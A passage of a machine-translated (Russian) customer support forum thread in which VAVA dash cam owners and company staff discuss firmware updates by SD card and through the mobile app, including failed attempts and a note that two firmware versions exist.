Шаг 2: Извлеките SD-карту из видеорегистратора. Вставьте SD-карту в ноутбук/компьютер. Может потребоваться устройство чтения SD-карт/адаптер для SD-карт. SD-карта появится в качестве устройства хранения данных на вашем ноутбуке/компьютере. Сделайте резервную копию любых медиафайлов с SD-карты, которые вы хотите сохранить.
Шаг 3: Отформатируйте SD-карту в NTFS или exFAT. Загрузите файл прошивки с этого веб-сайта Cam — Dash Cam & Home Cam — VAVA, просто выберите тот же видеорегистратор, который у вас есть…
Шаг 4: Сохраните файл прошивки на SD-карту. Извлеките SD-карту из ноутбука/компьютера.
Шаг 5: Вставьте SD-карту обратно в видеорегистратор VAVA.
Шаг 6: Подайте питание на видеорегистратор. Оба светодиода на задней панели камеры будут быстро мигать в течение примерно 1 минуты. После завершения прошивки индикатор снова станет мигать синим цветом.
Шаг 7: Любые измененные настройки видеорегистратора будут возвращены к заводским настройкам. Подключитесь к видеорегистратору через Wi-Fi с помощью мобильного устройства.
Шаг 8: Откройте приложение VAVA Dash. Приложение автоматически подключится к видеорегистратору и откроет страницу прямой трансляции.
Шаг 9: Нажмите на значок шестеренки настроек в правом верхнем углу страницы.
Шаг 10. Прокрутите страницу меню вниз и выберите «Отформатировать SD-карту», чтобы завершить обновление прошивки.
Дополнительную информацию см. в приложении.
Другое упоминание: видеорегистратор VAVA — перепрошивка прошивки — YouTube
Если вы выполнили эти шаги, но не решили проблему, отправьте электронное письмо по адресу [email protected], чтобы мы могли вам помочь. Благодарю вас!
интуитивно-синий
#5
Этот процесс, указанный выше, у меня тоже не работает.
(У меня вообще очень сильные технические способности.)
Кроме того, в приведенных здесь инструкциях НЕ указано, что нужно разархивировать загруженный файл.
В видео речь идет о перемещении файла .bin… но после распаковки файла есть папка с файлом .bin, а также контрольная сумма (md5sum).
Я пробовал несколько раз, с заархивированным файлом, только с .bin, с разархивированной папкой.
Каждый из них приводит к одному и тому же сообщению об ошибке от кулачка VD009.
«Карта не читается. Карта будет отформатирована через 60 секунд».
нет результатов обновления прошивки.
По-прежнему не удается подключиться к камере через Wi-Fi.
(Однажды работало сразу из коробки, но не с тех пор.)
TeamVAVA
#6
Привет, @intuitive-blue. Мы хотели бы помочь вам в этом. Пожалуйста, отправьте электронное письмо по адресу [email protected] со скриншотом счета-фактуры вашего заказа и коротким видео о проблеме. Благодарю вас!
интуитивно-синий
#7
Спасибо.
Я нашел еще один пост об устранении проблемы с Wi-Fi, который сработал… затем приложение предложило прямое обновление прошивки через соединение приложения/WiFi. Это тоже сработало.
Возможно, стоит обновить файлы онлайн-поддержки, чтобы описать обновление через приложение!
(Приложение зависло на экране обновления, потому что камера отключила Wi-Fi во время обновления… но обновление было успешно завершено.
Спасибо!
Келлан
TeamVAVA
#8
Привет, @intuitive-blue. Спасибо за обновление. Мы рады, что теперь он работает нормально. Дайте нам знать, если вам нужна дополнительная помощь. С Уважением!
упак.
#9
Привет,
У меня тоже не получается обновить прошивку через SD карту. Я получил точно такие же результаты, как и вы. В конце концов приложение показало обновление прошивки и позволило мне загрузить его через WIFI. Мне любопытно, какую версию обновления вы загрузили. На сайте VAVA версия 1.3.0. Приложение обновлено до 1.1.0. Спасибо, Павел
упак.
#10
Здравствуйте,
Какая текущая версия прошивки для видеорегистратора 2kDual. Список сайтов vava.com версии 1.3.0. Сегодня я обновился через приложение vava dash, версия прошивки 1.1.0. Спасибо, Пол
TeamVAVA
#11
Привет @pkw, мы приносим извинения за проблемы, которые это вызвало. На самом деле есть 2 типа видеорегистратора VA-VD002. Вот почему существуют обновления v1.1 и v1.3, по одной версии для каждого. Тем не менее, нет никакой разницы в его функциональности. Разница лишь в том, что один из них обновляется через карту micro SD. Дайте нам знать, если вам нужна дополнительная помощь. Оставайся в форме!
Эхтешам
#12
Для обновления прошивки VD009 2k Dual Dashcam
я просто следовал инструкциям
Я выключился и вынул видеорегистратор.
Я вынул SD-карту и скопировал обновленную прошивку с сайта vava.com для своего видеорегистратора 2K VD009
Разархивировав, скопировал в корневую папку SD-карты. (есть два файла. Ambah32DUUpgrade.bin и md5sum
Я вставил SD-карту обратно в видеорегистратор
Я включил видеорегистратор, подключив его к ноутбуку USB
Камера включилась и начала запись, но НЕ обновляла прошивку.
Пожалуйста, подскажите, что мне не хватает
Эхтешам
№13
после нескольких неудачных попыток я не форматирую SD-карту в exFAT (по умолчанию)
и попытаюсь снова.
посмотрим что будет дальше
TeamVAVA
№14
Привет, @Ehtesham Спасибо, что поделились с нами своим опытом. Надеюсь, это поможет вам. Вот как вы повторно обновляете прошивку.
Вы можете загрузить его непосредственно с нашего веб-сайта: Dual Dash 2K Cam Front And Rear Wifi -VAVA
Прошивка прошивки видеорегистратора через SD-карту
Шаг 1: Выключите видеорегистратор VAVA.
Шаг 2. Извлеките SD-карту из видеорегистратора. Вставьте SD-карту в ноутбук/компьютер. Может потребоваться устройство чтения SD-карт/адаптер для SD-карт. SD-карта появится в качестве устройства хранения данных на вашем ноутбуке/компьютере. Сделайте резервную копию любых медиафайлов с SD-карты, которые вы хотите сохранить.
Шаг 3: Сохраните файл прошивки на SD-карту. Извлеките SD-карту из ноутбука/компьютера.
Шаг 4: Вставьте SD-карту обратно в видеорегистратор VAVA.
Шаг 5: Подайте питание на видеорегистратор. Оба светодиода на задней панели камеры будут быстро мигать в течение примерно 1 минуты. После завершения прошивки индикатор снова станет мигать синим цветом.
Шаг 6: Любые измененные настройки видеорегистратора будут возвращены к заводским настройкам. Подключитесь к видеорегистратору через Wi-Fi с помощью мобильного устройства.
Шаг 7. Откройте приложение VAVA Dash. Приложение автоматически подключится к видеорегистратору и откроет страницу прямой трансляции.
Шаг 8: Нажмите на значок шестеренки настроек в правом верхнем углу страницы.
Шаг 9. Прокрутите страницу меню вниз и выберите «Отформатировать SD-карту», чтобы завершить обновление микропрограммы.
Другая ссылка VAVA Dash Cam — Перепрошивка прошивки — YouTube
КлассиД